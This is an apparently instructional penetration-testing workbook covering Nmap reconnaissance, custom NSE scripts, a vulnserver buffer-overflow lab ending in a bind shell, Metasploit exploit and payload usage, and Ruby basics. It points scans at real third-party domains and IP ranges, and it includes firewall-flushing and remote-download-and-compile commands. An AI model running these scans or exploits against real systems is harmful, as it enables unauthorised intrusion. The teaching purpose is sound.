```
1.  ##############################
2.  # Basic Scanning Methodology #
3.  # Transition from Blue to    #
4.  # Red Team Tactics           #
5.  ##############################
6.
7.  - Ping Sweep
8.  What's alive?
9.  --------------------------Type This-----------------------------------
10. sudo nmap -sP 157.166.226.*
11.      strategicsec
12. ------------------------------------------------------------------------
13.
14.
15.     -if -SP yields no results try:
```

```
--------------------------Type This----------------------------------
sudo nmap -sL 157.166.226.*
     strategicsec
-----------------------------------------------------------------------


    -Look for hostnames:
--------------------------Type This----------------------------------
sudo nmap -sL 157.166.226.* | grep com
     strategicsec
-----------------------------------------------------------------------


- Port Scan
What's where?
--------------------------Type This----------------------------------
sudo nmap -sS 162.243.126.247
     strategicsec
-----------------------------------------------------------------------


- Bannergrab/Version Query
What versions of software are running
--------------------------Type This----------------------------------
sudo nmap -sV 162.243.126.247
     strategicsec
-----------------------------------------------------------------------
```

```
44.
45.
46.
47. - Vulnerability Research
48. Lookup the banner versions for public exploits
49. ------------------------------------------------
50. http://exploit-db.com
51. http://securityfocus.com/bid
52. https://packetstormsecurity.com/files/tags/exploit/
53.
54.
55. ---------------------------------------------------------------------
56.
57.
58. ---------------------------Type This-----------------------------------
59. cd ~/toolz
60.
61. wget --no-check-certificate https://raw.githubusercontent.com/BenDrysdale/ipcrawl/master/ipcrawl.c
62.
63. gcc ipcrawl.c -o ipcrawl
64.
65. chmod 777 ipcrawl
66.
67. ./ipcrawl 148.87.1.1 148.87.1.254              (DNS forward lookup against an IP range)
68.
69.
70. sudo nmap -sL 148.87.1.0-255
71.     strategicsec
```

```
sudo nmap -sL 148.87.1.0-255 | grep oracle
     strategicsec



wget --no-check-certificate https://dl.packetstormsecurity.net/UNIX/scanners/propecia.c

gcc propecia.c -o propecia

sudo cp propecia /bin
     strategicsec

propecia 162.243.126 22

propecia 162.243.126 80

propecia 162.243.126 443

propecia 162.243.126 3389
-------------------------------------------------------------------------



###########################
```

```
# Target IP Determination #
############################
---------------------------Type This-----------------------------------
cd /home/strategicsec/toolz

perl blindcrawl.pl -d motorola.com
-----------------------------------------------------------------------

-- Take each IP address and look ip up here:
http://www.networksolutions.com/whois/index.jsp


Zone Transfer fails on most domains, but here is an example of one that works:
---------------------------Type This-----------------------------------
dig axfr heartinternet.co.uk  @ns.heartinternet.co.uk


cd ~/toolz/
./ipcrawl 148.87.1.1 148.87.1.254               (DNS forward lookup against an IP range)


sudo nmap -sL 148.87.1.0-255
     strategicsec


sudo nmap -sL 148.87.1.0-255 | grep oracle
     strategicsec
-----------------------------------------------------------------------
```

```
128.
129.
130.
131.
132. ############################
133. # Load Balancer Detection #
134. ############################
135.
136. Here are some options to use for identifying load balancers:
137.     - http://toolbar.netcraft.com/site_report
138.     - https://addons.mozilla.org/en-US/firefox/addon/live-http-headers/
139.
140.
141. Here are some command-line options to use for identifying load balancers:
142. --------------------------Type This-----------------------------------
143. dig microsoft.com
144.
145. cd ~/toolz
146. ./lbd-0.1.sh microsoft.com
147.
148.
149. halberd microsoft.com
150. halberd motorola.com
151. halberd oracle.com
152. ----------------------------------------------------------------------
153.
154.
155. ######################################
```

```
# Web Application Firewall Detection #
#######################################
---------------------------Type This-----------------------------------
cd ~/toolz/wafw00f
python wafw00f.py http://www.oracle.com
python wafw00f.py http://www.strategicsec.com


cd ~/toolz/
sudo nmap -p 80 --script http-waf-detect.nse oracle.com
     strategicsec

sudo nmap -p 80 --script http-waf-detect.nse healthcare.gov
     strategicsec
-------------------------------------------------------------------

#######################################
# Writing Your Own Nmap NSE Scripts #
#######################################
---------------------------Type This-----------------------------------
sudo rm -rf /usr/share/nmap/scripts/intro-nse.nse

sudo vi /usr/share/nmap/scripts/intro-nse.nse
-------------------------------------------------------------------

---------------------------Paste This----------------------------------
-- The Head Section --
-- The Rule Section --
```

```
portrule = function(host, port)
    return port.protocol == "tcp"
            and port.number == 80
            and port.state == "open"
end

-- The Action Section --
action = function(host, port)
    return "RedTeam!"
end
-----------------------------------------------------------------------

- Ok, now that we've made that change let's run the script
---------------------------Type This-----------------------------------
sudo nmap --script=/usr/share/nmap/scripts/intro-nse.nse infosecaddicts.com -p 22,80,443
-----------------------------------------------------------------------









-----------------------------------------------------------------------
sudo vi /usr/share/nmap/scripts/intro-nse.nse
-----------------------------------------------------------------------

---------------------------Paste This----------------------------------
-- The Head Section --
local shortport = require "shortport"
```

```
212.
213. -- The Rule Section --
214. portrule = shortport.http
215.
216.
217. -- The Action Section --
218. action = function(host, port)
219.     return "RedTeam!"
220. end
221. ---------------------------------------------------------------------
222.
223. - Ok, now that we've made that change let's run the script
224. ----------------------------Type This-----------------------------------
225. sudo nmap --script=/usr/share/nmap/scripts/intro-nse.nse infosecaddicts.com -p 22,80,443
226. ---------------------------------------------------------------------
227.
228.
229.
230.
231.
232.
233. OK, now let's have some fun with my buddy Carlos Perez's website which you should have been looking at quite a lot if you were trying
     to get Ruby 2.1.5 working last year.
234.
235.
236. ----------------------------Type This-----------------------------------
237. sudo vi /usr/share/nmap/scripts/intro-nse.nse
238. ---------------------------------------------------------------------
```

```
239.
240.
241. ---------------------------Paste This----------------------------------
242. -- The Head Section --
243. local shortport = require "shortport"
244. local http = require "http"
245.
246. -- The Rule Section --
247. portrule = shortport.http
248.
249. -- The Action Section --
250. action = function(host, port)
251.
252.     local uri = "/installing-metasploit-in-ubunt/"
253.     local response = http.get(host, port, uri)
254.     return response.status
255.
256. end
257. ----------------------------------------------------------------------
258.
259. - Ok, now that we've made that change let's run the script
260. ---------------------------Type This-----------------------------------
261. sudo nmap --script=/usr/share/nmap/scripts/intro-nse.nse darkoperator.com -p 22,80,443
262. ----------------------------------------------------------------------
263.
264.
265.
266. ----------------------------------------------------------------------
```

```
sudo vi /usr/share/nmap/scripts/intro-nse.nse
------------------------------------------------------------------------

---------------------------Paste This----------------------------------
-- The Head Section --
local shortport = require "shortport"
local http = require "http"

-- The Rule Section --
portrule = shortport.http

-- The Action Section --
action = function(host, port)

    local uri = "/installing-metasploit-in-ubunt/"
    local response = http.get(host, port, uri)

    if ( response.status == 200 ) then
        return response.body
    end

end
------------------------------------------------------------------------

- Ok, now that we've made that change let's run the script
---------------------------Type This-----------------------------------
sudo nmap --script=/usr/share/nmap/scripts/intro-nse.nse darkoperator.com -p 22,80,443
------------------------------------------------------------------------
```

```
295.
296.
297.
298.
299.
300.
301.
302. ----------------------------Type This-----------------------------------
303. sudo vi /usr/share/nmap/scripts/intro-nse.nse
304. ------------------------------------------------------------------------
305.
306.
307. ----------------------------Paste This----------------------------------
308. -- The Head Section --
309. local shortport = require "shortport"
310. local http = require "http"
311. local string = require "string"
312.
313. -- The Rule Section --
314. portrule = shortport.http
315.
316. -- The Action Section --
317. action = function(host, port)
318.
319.     local uri = "/installing-metasploit-in-ubunt/"
320.     local response = http.get(host, port, uri)
321.
322.     if ( response.status == 200 ) then
```

```
        local title = string.match(response.body, "Installing Metasploit in Ubuntu and Debian")
        return title
    end

end
-------------------------------------------------------------------

- Ok, now that we've made that change let's run the script
---------------------------Type This-----------------------------------
sudo nmap --script=/usr/share/nmap/scripts/intro-nse.nse darkoperator.com -p 22,80,443
-------------------------------------------------------------------









---------------------------Type This-----------------------------------
sudo vi /usr/share/nmap/scripts/intro-nse.nse
-------------------------------------------------------------------

---------------------------Paste This----------------------------------
-- The Head Section --
local shortport = require "shortport"
local http = require "http"
local string = require "string"

```

```
-- The Rule Section --
portrule = shortport.http

-- The Action Section --
action = function(host, port)

    local uri = "/installing-metasploit-in-ubunt/"
    local response = http.get(host, port, uri)

    if ( response.status == 200 ) then
        local title = string.match(response.body, "Installing Metasploit in Ubuntu and Debian")

        if (title) then
            return "Vulnerable"
        else
            return "Not Vulnerable"
        end
    end
end

---------------------------------------------------------------------

- Ok, now that we've made that change let's run the script
---------------------------Type This-----------------------------------
sudo nmap --script=/usr/share/nmap/scripts/intro-nse.nse darkoperator.com -p 22,80,443
-----------------------------------------------------------------------
```

```
379.
380. ######################################
381. # Quick Stack Based Buffer Overflow #
382. ######################################
383.
384. - You can download everything you need for this exercise (except netcat) from the link below
385. https://s3.amazonaws.com/infosecaddictsfiles/ExploitLab.zip
386.
387. - Extract this zip file to your Desktop
388.
389. - Go to folder C:\Users\Workshop\Desktop\ExploitLab\2-VulnServer, and run vulnserv.exe
390.
391. - Open a new command prompt and type:
392. nc localhost 9999
393.
394. - In the new command prompt window where you ran nc type:
395. HELP
396.
397. - Go to folder C:\Users\Workshop\Desktop\ExploitLab\4-AttackScripts
398. - Right-click on 1-simplefuzzer.py and choose the option edit with notepad++
399.
400. - Now double-click on 1-simplefuzzer.py
401. - You'll notice that vulnserv.exe crashes. Be sure to note what command and the number of As it crashed on.
402.
403.
404. - Restart vulnserv, and run 1-simplefuzzer.py again. Be sure to note what command and the number of As it crashed on.
405.
```

```
- Now go to folder C:\Users\Workshop\Desktop\ExploitLab\3-OllyDBG and start OllyDBG. Choose 'File' -> 'Attach' and attach to process vulnserv.exe

- Go back to folder C:\Users\Workshop\Desktop\ExploitLab\4-AttackScripts and double-click on 1-simplefuzzer.py.

- Take note of the registers (EAX, ESP, EBP, EIP) that have been overwritten with As (41s).

- Now isolate the crash by restarting your debugger and running script 2-3000chars.py

- Calculate the distance to EIP by running script 3-3000chars.py
- This script sends 3000 nonrepeating chars to vulserv.exe and populates EIP with the value: 396F4338

4-count-chars-to-EIP.py
- In the previous script we see that EIP is overwritten with 396F4338 is 8 (38), C (43), o (6F), 9 (39)
- so we search for 8Co9 in the string of nonrepeating chars and count the distance to it

5-2006char-eip-check.py
- In this script we check to see if our math is correct in our calculation of the distance to EIP by overwriting EIP with 42424242

6-jmp-esp.py
- In this script we overwrite EIP with a JMP ESP (6250AF11) inside of essfunc.dll

7-first-exploit
- In this script we actually do the stack overflow and launch a bind shell on port 4444

8 - Take a look at the file vulnserv.rb and place it in your Ubuntu host via SCP or copy it and paste the code into the host.
```

```
------------------------------

cd /home/strategicsec/toolz/metasploit/modules/exploits/windows/misc

vi vulnserv.rb    (paste the code into this file)



cd ~/toolz/metasploit

./msfconsole



use exploit/windows/misc/vulnserv
set PAYLOAD windows/meterpreter/bind_tcp
set RHOST 192.168.88.129
set RPORT 9999
exploit



Code to analyze:
https://downloads.securityfocus.com/vulnerabilities/exploits/07.30.dcom48.c
```

```
461.
462.
463.
464.
465.
466.
467. Metasploit Next Level
468.
469.
470. ############################
471. # Download the attack VM #
472. ############################
473. https://s3.amazonaws.com/infosecaddictsvirtualmachines/InfoSecAddictsVM.zip
474. user: infosecaddicts
475. pass: infosecaddicts
476.
477.
478.
479.
480.
481. ############################
482. # Download the victim VMs #
483. ############################
484. https://s3.amazonaws.com/infosecaddictsvirtualmachines/Win7x64.zip
485. user: workshop
486. pass: password
487.
488.
```

```
############################
# Exploit Development VMs #
############################
Note: this link will work tomorrow
https://s3.amazonaws.com/infosecaddictsvirtualmachines/XPSP3-ED-Target.zip

user: administrator
pass: strategicsec


https://s3.amazonaws.com/infosecaddictsvirtualmachines/Strategicsec-XP-ED-Attack-Host.zip
user: strategicsec
pass: strategicsec









#############################################################
# Section 1: Ruby Fundamentals and Metasploit Architecture #
#############################################################

############################
# Day 1: Ruby Fundamentals #
############################


```

```
- Ruby is a general-purpose, object-oriented programming language, which was created by Yukihiro Matsumoto, a computer
scientist and programmer from Japan. It is a cross-platform dynamic language.

- The major implementations of this language are Ruby MRI, JRuby, HotRuby, IronRuby, MacRuby, etc. Ruby
on Rails is a framework that is written in Ruby.

- Ruby's file name extensions are .rb and .rbw.

- official website of this

- language: www.ruby-lang.org.


- interactive Shell called Ruby Shell


- Installing and Running IRB

---------------------------Type This-----------------------------------
ruby -v
-----------------------------------------------------------------------


If you don't have ruby2.3 use the commands below:
-----------------------------------------------------------------------
sudo apt-get install ruby2.3 ruby2.3-dev ruby2.3-doc irb rdoc ri
-----------------------------------------------------------------------

```

```
- open up the interactive console and play around.

----------------------------Type This-----------------------------------
irb
------------------------------------------------------------------------


- Math, Variables, Classes, Creating Objects and Inheritance


The following arithmetic operators:
    Addition operator (+) – 10 + 23
    Subtraction operator (-) – 1001 - 34
    Multiplication operator (*) – 5 * 5
    Division operator (/) – 12 / 2



- Now let's cover some variable techniques. In Ruby, you can assign a value to a variable using the assignment
operator. '=' is the assignment operator. In the following example, 25 is assigned to x. Then x is incremented by
30. Again, 69 is assigned to y, and then y is incremented by 33.

----------------------------Type This-----------------------------------
x = 25
x + 30
y = 69
y+33
------------------------------------------------------------------------
```

```
573.
574.
575.
576. - Let's look at creating classes and creating objects.
577.
578. - Here, the name of the class is Strategicsec. An object has its properties and methods.
579.
580.
581. ----------------------------Type This-----------------------------------
582. class Attack
583. attr_accessor :of, :sqli, :xss
584. end
585. ------------------------------------------------------------------------
586.
587.
588. What is nil?
589. Reference:
590. https://www.codecademy.com/en/forum_questions/52a112378c1cccb0f6001638
591.
592. nil is the Ruby object that represents nothingness. Whenever a method doesn’t return a useful value, it returns nil. puts and print
     are methods that return nil:
593.
594. Since the Ruby Console always shows the value of the last statement or expression in your code, if that last statement is print,
     you’ll see the nil.
595.
596. To prevent the nil from "sticking" to the output of print (which doesn’t insert a line break), you can print a line break after it,
     and optionally put some other value as the last statement of your code, then the Console will show it instead of nil:
597.
```

```
598.
599.
600.
601.
602. # Now that we have created the classes let's create the objects
603. ----------------------------Type This-----------------------------------
604. first_attack = Attack.new
605. first_attack.of = "stack"
606. first_attack.sqli = "blind"
607. first_attack.xss = "dom"
608. puts first_attack.of
609. puts first_attack.sqli
610. puts first_attack.xss
611. ------------------------------------------------------------------------
612.
613.
614.
615.
616. - Let's work on some inheritance that will help make your programming life easier. When we have multiple classes,
617. inheritance becomes useful. In simple words, inheritance is the classification of classes. It is a process by which
618. one object can access the properties/attributes of another object of a different class. Inheritance makes your
619. programming life easier by maximizing code reuse.
620.
621.
622. ----------------------------Type This-----------------------------------
623. class Exploitframeworks
624. attr_accessor :scanners, :exploits, :shellcode, :postmodules
625. end
```

```
class Metasploit < Exploitframeworks
end
class Canvas < Exploitframeworks
end
class Coreimpact < Exploitframeworks
end
class Saint < Exploitframeworks
end
class Exploitpack < Exploitframeworks
end
------------------------------------------------------------------------



- Methods, More Objects, Arguments, String Functions and Expression Shortcuts

- Let's create a simple method. A method is used to perform an action and is generally called with an object.

- Here, the name of the method is 'learning'. This method is defined inside the Msfnl class. When it is called,
it will print this string: "We are Learning how to PenTest"

- An object named 'bo' is created, which is used to call the method.


---------------------------Type This-----------------------------------
class Msfnl
def learning
```

```
puts "We are Learning how to PenTest"
end
end
------------------------------------------------------------------------

#Now let's define an object for our Method

--------------------------Type This-----------------------------------
joe = Msfnl.new
joe.learning
------------------------------------------------------------------------



- An argument is a value or variable that is passed to the function while calling it. In the following example, while
calling the puts() function, we are sending a string value to the function. This string value is used by the
function to perform some particular operations.

puts ("Pentesting")


- There are many useful string functions in Ruby. String functions make it easy to work with strings. Now, we will
explain some useful string functions with an example.

- The length function calculates the length of a string. The upcase function converts a string to uppercase. And the
reverse function reverses a string. The following example demonstrates how to use the string functions.

--------------------------Type This-----------------------------------
```

```
55.class
"I Love Programming".class
"I Love Pentesting".length
"Pown that box".upcase
"Love" + "To Root Boxes"
"evil".reverse
"evil".reverse.upcase
------------------------------------------------------------------------


-  expressions and shortcuts. In the below example, 'a' is an operand, '3' is an operand,  '=' is
an operator, and 'a=3' is the expression. A statement consists of one or multiple expressions. Following are the
examples of some expressions.

---------------------------Type This-----------------------------------
a = 3
b = 6
a+b+20
d = 44
f = d
puts f
------------------------------------------------------------------------




- shortcuts. +=, *= are the shortcuts. These operators are also called abbreviated
```

assignment operators. Use the shortcuts to get the effect of two statements in just one. Consider the following statements to understand the shortcuts.

```
---------------------------Type This-----------------------------------
g = 70
g = g+44
g += 33
-----------------------------------------------------------------------
```

- In the above statement, g is incremented by 33 and then the total value is assigned to g.

```
---------------------------Type This-----------------------------------
g *= 3
-----------------------------------------------------------------------
```

- In the above statement, g is multiplied with 3 and then assigned to g.

- Example

- Comparison Operators, Loops, Data Types, and Constants

- Comparison operators are used for comparing one variable or constant with another variable or constant. We will show how to use the following comparison operators.

```
'Less than' operator (<): This operator is used to check whether a variable or constant is less than another
variable or constant. If it's less than the other, the 'less than' operator returns true.

'Equal to' operator (==): This operator is used to check whether a variable or constant is equal to another variable
or constant. If it's equal to the other, the 'equal to' operator returns true.

'Not equal to' operator (!=): This operator is used to check whether a variable or constant is not equal to another
variable or constant. If it's not equal to the other, the 'not equal to' operator returns true.

---------------------------Type This-----------------------------------
numberofports = 55
puts "number of ports found during scan" if numberofports < 300
numberofports = 400
puts "number of ports found during scan" if numberofports < 300
puts "number of ports found during scan" if numberofports == 300
puts "number of ports found during scan" if numberofports != 300
-----------------------------------------------------------------------



Example


- the 'OR' operator and the 'unless' keyword. This symbol '||' represents the logical 'OR' operator.

- This operator is generally used to combine multiple conditions.
- In case of two conditions, if both or any of the conditions is true, the 'OR'operator returns true. Consider the

```

```
- following example to understand how this operator works.

---------------------------Type This-----------------------------------
ports = 100
puts "number of ports found on the network" if ports<100 || ports>200
puts "number of ports found on the network" if ports<100 || ports>75
-----------------------------------------------------------------------

# unless

---------------------------Type This-----------------------------------
portsbelow1024 = 50
puts "If the ports are below 1024" unless portsbelow1024 < 1000
puts "If the ports are below 1024" unless portsbelow1024 < 1055
puts "If the ports are below 1024" unless portsbelow1024 < 20
-----------------------------------------------------------------------

- The 'unless' keyword is used to do something programmatically unless a condition is true.



- Loops are used to execute statement(s) repeatedly. Suppose you want to print a string 10 times.

- See the following example to understand how a string is printed 10 times on the screen using a loop.

---------------------------Type This-----------------------------------
10.times do puts "infosecaddicts" end
-----------------------------------------------------------------------
```

```
# Or use the curly braces

---------------------------Type This-----------------------------------
10.times {puts "infosecaddicts"}
-----------------------------------------------------------------------


- Changing Data Types: Data type conversion is an important concept in Ruby because it gives you flexibility while
working with different data types. Data type conversion is also known as type casting.



- Constants: Unlike variables, the values of constants remain fixed during the program interpretation. So if you
change the value of a constant, you will see a warning message.




- Multiple Line String Variable, Interpolation, and Regular Expressions

- A multiple line string variable lets you assign the value to the string variable through multiple lines.

---------------------------Type This-----------------------------------
infosecaddicts = <<mark
welcome
to the
best
```

```
metasploit
course
on the
market
mark
puts infosecaddicts
---------------------------------------------------------------------


- Interpolation lets you evaluate any placeholder within a string, and the placeholder is replaced with the value that
it represents. So whatever you write inside #{ } will be evaluated and the value will be replaced at that position.
Examine the following example to understand how interpolation works in Ruby.

References:
https://stackoverflow.com/questions/10869264/meaning-of-in-ruby


---------------------------Type This-----------------------------------
a = 4
b = 6
puts "a * b = a*b"
puts " #{a} * #{b} = #{a*b} "
person = "Joe McCray"
puts "IT Security consultant person"
puts "IT Security consultant #{person}"
---------------------------------------------------------------------

- Notice that the placeholders inside #{ } are evaluated and they are replaced with their values.
```

```
- Character classes
---------------------------Type This----------------------------------
infosecaddicts = "I Scanned 45 hosts and found 500 vulnerabilities"
"I love metasploit and what it has to offer!".scan(/[lma]/) {|y| puts y}
"I love metasploit and what it has to offer!".scan(/[a-m]/) {|y| puts y}
------------------------------------------------------------------------


- Arrays, Push and Pop, and Hashes


- In the following example, numbers is an array that holds 6 integer numbers.


---------------------------Type This----------------------------------
numbers = [2,4,6,8,10,100]
puts numbers[0]
puts numbers[4]
numbers[2] = 150
puts numbers
------------------------------------------------------------------------


```

```
878.
879. - Now we will show how you can implement a stack using an array in Ruby. A stack has two operations - push and pop.
880.
881.
882. ---------------------------Type This-----------------------------------
883. framework = []
884. framework << "modules"
885. framework << "exploits"
886. framework << "payloads"
887. framework.pop
888. framework.shift
889. -----------------------------------------------------------------------
890.
891. - Hash is a collection of elements, which is like the associative array in other languages. Each element has a key
892. that is used to access the element.
893.
894.
895. - Hash is a Ruby object that has its built-in methods. The methods make it easy to work with hashes.
896. In this example, 'metasploit' is a hash. 'exploits', 'microsoft', 'Linux' are the keys, and the following are the
897. respective values: 'what module should you use', 'Windows XP' and 'SSH'.
898.
899. ---------------------------Type This-----------------------------------
900. metasploit = {'exploits' => 'what module should you use', 'microsoft' => 'Windows XP', 'Linux' => 'SSH'}
901. print metasploit.size
902. print metasploit["microsoft"]
903. metasploit['microsoft'] = 'redhat'
904. print metasploit['microsoft']
905. -----------------------------------------------------------------------
```

```
906.
907.
908.
909. - Writing Ruby Scripts
910.
911.
912. - Let's take a look at one of the ruby modules and see exactly now what it is doing. Now explain to me exactly what
913. this program is doing. If we take a look at the ruby program what you find is that it is a TCP port scanner that
914. someone made to look for a specific port. The port that it is looking for is port 21 FTP.
915. ----------------------------Type This-----------------------------------
916. cd ~/toolz/metasploit/modules/auxiliary/scanner/portscan
917. ls
918. ------------------------------------------------------------------------
919.
920. ack.rb  ftpbounce.rb  syn.rb  tcp.rb  xmas.rb
921.
922. - Lets look at tcp.rb
923.
924.
925.
926. - Let's take the time now to create and design our own port scanner what we will design here is a port scanner that
927. will scan for port up to 0-1024. And we will add a function in there for the port scanner to prompt us stating OPEN
928. port if it detects it. This is a pretty basic script, but it will help you in the event that you need to write
929. something on the fly.
930.
931.
932. ------------------------------------------------------------------------
933. - PortScanner.rb :
```

```
934.
935. require 'socket'
936. require 'timeout'
937.
938. puts "Enter IP Address to Scan:"
939. ipaddress = gets
940.
941. 1.upto(1024) {|port|
942.   begin
943.     timeout(5) do
944.       TCPSocket.open(ipaddress.chop, port)
945.     end
946.     puts "Response/Port Open: #{port}"
947.   rescue Timeout::Error
948.     # uncomment the following line to show closed ports (noisy!)
949.     #puts "No Response /Port closed: #{port}"
950.   rescue
951.     # uncomment the following line to show closed ports (noisy!)
952.     #puts "No Response /Port closed: #{port}"
953.   end
954. }
955.
956. ---------------------------------------------------------------------------
957.
958. Day 1 Homework:
959. Send Ivana an email ivana{a-t}strategicsec{d-o-t}.com with a word document that contains screenshots of everything that we have
     covered so far. Make the subject of the email "First Name - Last Name - Metasploit Day 1" (ex: Joseph - McCray - Metasploit Day 1).
960.
```

```
Also be sure to name the attached file "FirstName.LastName.MetasploitDay1.docx" (Joseph.McCray.MetasploitDay1.docx).

NOTE: This is what is required in order to receive your certificate of completion and CPEs.
--------------------------------------------------------------------------------



###################################
# Day 2: Metasploit Fundamentals #
###################################

- Let's take a little look at Metasploit Framework

- First, we should take note of the different directories, the Modular Architecture.

The modules that make up the Modular Architecture are
Exploits
Auxiliary
Payload
Encoder
Nops


Important directories to keep in mind for Metasploit, in case we'd like to edit different modules, or add our own,

are

Modules
```

```
Scripts
Plugins
External
Data
Tools

- Let's take a look inside the Metasploit directory and see what's the
---------------------------Type This-----------------------------------
cd ~/toolz/metasploit
ls
-----------------------------------------------------------------------



- Now let's take a look inside the Modules directory and see what's there.
---------------------------Type This-----------------------------------
cd ~/toolz/metasploit/modules
ls
-----------------------------------------------------------------------


The auxiliary directory is where the things like our port-scanners will be, or any module that we can run that does
not necessarily need to - have a shell or session started on a machine.

The exploits directory has our modules that we need to pop a shell on a box.
The external directory is where we can see all of the modules that use external libraries from tools Metasploit uses
like Burp Suite
- Let's take a look at the external directory
```

```
---------------------------Type This----------------------------------
cd ~/toolz/metasploit/external
ls
-----------------------------------------------------------------------

- Our data directory holds helper modules for Metasploit to use with exploits or auxiliary modules.
---------------------------Type This----------------------------------
cd ~/toolz/metasploit/data
ls
-----------------------------------------------------------------------

- For example, the wordlist directory holds files that have wordlists in them for brute-forcing logins or doing DNS
brute-forcing
---------------------------Type This----------------------------------
cd ~/toolz/metasploit/data/wordlists
ls
-----------------------------------------------------------------------

- The Meterpreter directory inside of the data directory houses the DLLs used for the functionality of Meterpreter
once a session is created.
---------------------------Type This----------------------------------
cd ~/toolz/metasploit/data/meterpreter
ls
-----------------------------------------------------------------------

- The scripts inside the scripts/Meterpreter directory are scripts that Meterpreter uses for post-exploitation, things
like escalating privileges and dumping hashes.

```

```
These are being phased out, though, and post-exploitation modules are what is being more preferred.
The next important directory that we should get used to is the 'tools' directory. Inside the tools directory we'll
find a bunch of different ruby scripts that help us on a pentest with things ranging from creating a pattern of code
for creating exploits, to a pattern offset script to find where at in machine language that we need to put in our
custom shellcode.

The final directory that we'll need to keep in mind is the plugins directory, which houses all the modules that have
to do with other programs to make things like importing and exporting reports simple.
Now that we have a clear understanding of what all of the different directories house, we can take a closer look at
the exploits directory and get a better understanding of how the directory structure is there, so if we make our own
modules we're going to have a better understanding of where everything needs to go.
---------------------------Type This-----------------------------------
cd ~/toolz/metasploit/modules/exploits
ls
-----------------------------------------------------------------------


- The exploits directory is split up into several different directories, each one housing exploits for different types
of systems. I.E. Windows, Unix, OSX, dialup and so on.
Likewise, if we were to go into the 'windows' directory, we're going to see that the exploits have been broken down
into categories of different types of services/programs, so that you can pick out an exploit specifically for the
service you're trying to exploit. Let's dig a little deeper into the auxiliary directory and see what all it holds
for us.
---------------------------Type This-----------------------------------
cd ~/toolz/metasploit/modules/auxiliary/
ls
-----------------------------------------------------------------------

```

```
1073.
1074. - And a little further into the directory, let's take a look at what's in the scanner directory
1075. ----------------------------Type This-----------------------------------
1076. cd ~/toolz/metasploit/modules/auxiliary/scanner/
1077. ls
1078. ------------------------------------------------------------------------
1079.
1080.
1081. - And one more folder deeper into the structure, let's take a look in the portscan folder
1082. ----------------------------Type This-----------------------------------
1083. cd ~/toolz/metasploit/modules/auxiliary/scanner/portscan
1084. ls
1085. ------------------------------------------------------------------------
1086.
1087. - If we run 'cat tcp.rb' we'll find that this module is simply a TCP scanner that will find tcp ports that are open
1088. and report them back to us in a nice, easily readable format.
1089.
1090. cat tcp.rb
1091.
1092.
1093.
1094. - Just keep in mind that all of the modules in the auxiliary directory are there for information gathering and for use
1095. once you have a session on a machine.
1096. Taking a look at the payload directory, we can see all the available payloads, which are what run after an exploit
1097. succeeds.
1098. ----------------------------Type This-----------------------------------
1099. cd ~/toolz/metasploit/modules/payloads/
1100. ls
```

```
1101. ------------------------------------------------------------------
1102.
1103.
1104. - There are three different types of payloads: single, stagers, and staged. Each type of payload has a different
1105. application for it to be used as.
1106. Single payloads do everything you need them to do at one single time, so they call a shell back to you and let you
1107. do everything once you have that shell calling back to you.
1108. Stagers are required for limited payload space so that the victim machine will call back to your attack box to get
1109. the rest of the instructions on what it's supposed to do. The first stage of the payload doesn't require all that
1110. much space to just call back to the attacking machine to have the rest of the payload sent to it, mainly being used
1111. to download Stages payloads.
1112.
1113.
1114. - Stages are downloaded by stagers and typically do complex tasks, like VNC sessions, Meterpreter sessions, or bind
1115. shells.
1116. ---------------------------Type This-----------------------------------
1117. cd singles
1118. cd windows
1119. ls
1120. ------------------------------------------------------------------
1121.
1122.
1123. - We can see several different payloads here that we can use on a windows system. Let's take a look at adduser.rb and
1124. see what it actually does.
1125. ---------------------------Type This-----------------------------------
1126. cat adduser.rb
1127. ------------------------------------------------------------------
1128.
```

```
Which when looking at the code, we can see that it will add a new user called "Metasploit" to the machine and give
the new user "Metasploit" a password of "Metasploit$1" Further down in the file we can actually see the command that
it gives Windows to add the user to the system.



- Stagers just connect to victim machine back to yours to download the Stages payload, usually with a

windows/shell/bind_tcp or windows/shell/reverse_tcp
----------------------------Type This-----------------------------------
cd ../../stagers
ls
------------------------------------------------------------------------



- Again, we can see that we have stagers for multiple systems and code types.
----------------------------Type This-----------------------------------
ls windows/
------------------------------------------------------------------------


As you can see, the stagers are mainly just to connect to the victim, to setup a bridge between us and the victim
machine, so we can upload or download our stage payloads and execute commands.
Lastly, we can go to our stages directory to see what all payloads are available for us to send over for use with
our stagers...
----------------------------Type This-----------------------------------
cd ../stages
ls
```

```
1157. ------------------------------------------------------------------
1158.
1159.
1160. Again, we can see that our stages are coded for particular operating systems and languages.
1161. We can take a look at shell.rb and see the shellcode that would be put into the payload that would be staged on the
1162. victim machine which would be encoded to tell the victim machine where to connect back to and what commands to run,
1163. if any.
1164.
1165. - Other module directories include nops, encoders, and post. Post modules are what are used in sessions that have
1166. already been opened in meterpreter, to gain more information on the victim machine, collect hashes, or even tokens,
1167. so we can impersonate other users on the system in hopes of elevating our privileges.
1168. ----------------------------Type This-----------------------------------
1169. cd ../../../post/
1170. ls
1171. cd windows/
1172. ls
1173. ------------------------------------------------------------------
1174.
1175.
1176. Inside the windows directory we can see all the post modules that can be run, capture is a directory that holds all
1177. the modules to load keyloggers, or grab input from the victim machine. Escalate has modules that will try to
1178. escalate our privileges. Gather has modules that will try to enumerate the host to get as much information as
1179. possible out of it. WLAN directory holds modules that can pull down WiFi access points that the victim has in
1180. memory/registry and give you the AP names as well as the WEP/WPA/WPA2 key for the network.
1181.
1182.
1183.
1184. ##################################################
```

```
# Section 2: Actually Using Metasploit (For real) #
#####################################################
---------------------------Type This-----------------------------------
sudo /sbin/iptables -F

cd ~/toolz/metasploit

./msfconsole
-----------------------------------------------------------------------

################################################
# Run any Linux command inside of MSFConsole #
################################################

---------------------------Type This-----------------------------------
ls

pwd

ping -c1 yahoo.com

nmap 192.168.11.130

nmap yahoo.com
-----------------------------------------------------------------------


```

```
- You're on the outside scanning publicly accessable targets.


----------Type This-----------------------------------
use auxiliary/scanner/portscan/tcp

set RHOSTS 162.243.126.247

set PORTS 80,443,445

run
------------------------------------------------------------------------

- In my opinion a much better option is a script called 'discover' from Lee Baird.

- You can get it here: https://github.com/leebaird/discover

- On the Ubuntu attack host you can run discover by typing the following:
----------Type This-----------------------------------
cd ~/toolz/discover
sudo ./discover
------------------------------------------------------------------------

- From here you can just follow the prompts. It will run both Nmap NSE scripts and Metasploit aux modules with all of the correct
parameters for you.


##################################
```

```
# Basic Client-Side Exploitation #
###################################
----------------------------Type This-----------------------------------
sudo /sbin/iptables -F

cd ~/toolz/metasploit

./msfconsole

use exploit/windows/browser/ie_cgenericelement_uaf

set ExitOnSession false

set URIPATH /ie8

